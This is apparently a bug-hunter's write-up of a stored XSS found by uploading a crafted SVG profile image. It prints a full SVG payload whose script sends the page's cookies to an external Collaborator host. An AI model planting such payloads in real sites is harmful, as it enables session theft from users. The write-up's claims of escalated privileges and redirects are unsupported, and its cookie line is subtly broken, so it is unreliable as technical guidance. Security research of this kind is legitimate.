Stored XSS via Malicious SVG Upload — Session Cookie Exfiltration

بِسْمِ اللَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ، عَلَّمَ الإِنسَانَ مَا لَمْ يَعْلَمْ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى خَيْرِ مُعَلِّمٍ.

Hello hackers, today’s vulnerability is easy and it’s the xss.svg vulnerability

Quick Summary (one line)

While browsing target.com I found an account settings page that allows uploading a profile image. I uploaded an SVG POC that referenced an external control server (Burp Collaborator / OAST). When the file was rendered, an interaction appeared in the Collaborator, proving the SVG was loaded/rendered and indicating a potential stored/display XSS.

. . .

Therefore, the first idea that came to my mind was to inject JavaScript code into an image file, upload it to the website, and then observe how the application would handle it.

In the end

First step

I created an SVG image file on my local machine and injected an initial JavaScript payload into it to observe how the website would handle it. I then uploaded the image to the application.

Use the following code

<?xml version=”1.0" encoding=”UTF-8"?>

<svg xmlns=”http://www.w3.org/2000/svg" viewBox=”0 0 500 500"> <script> //<![CDATA[ alert(document.domain); new Image().src = “https://j3nrtcll7pp55lebwvz59dnl0c63uwil.oastify.com/log?d=" + encodeURIComponent(document.cookies); //]]> </script> </svg>

Second step

I navigated to the image’s endpoint and opened it in the browser, where the code executed successfully and the payload ran as intended.

But there is a modification to make the impact of the vulnerability stronger and through the ease of obtaining the victim’s information and I can do that by adding the link for collborator And wait, as soon as you click on the image and the error message appears, it will keep sending a notification to collborator The notification that arrived http And with it ip My user, that’s all. I hope you read the report again. I am grateful for your cooperation. Thank you in advance.

And with that, the vulnerability’s privileges have been escalated — as soon as anyone visits your profile it will redirect to mine. That’s all the vulnerabilities I have for today. See you, hackers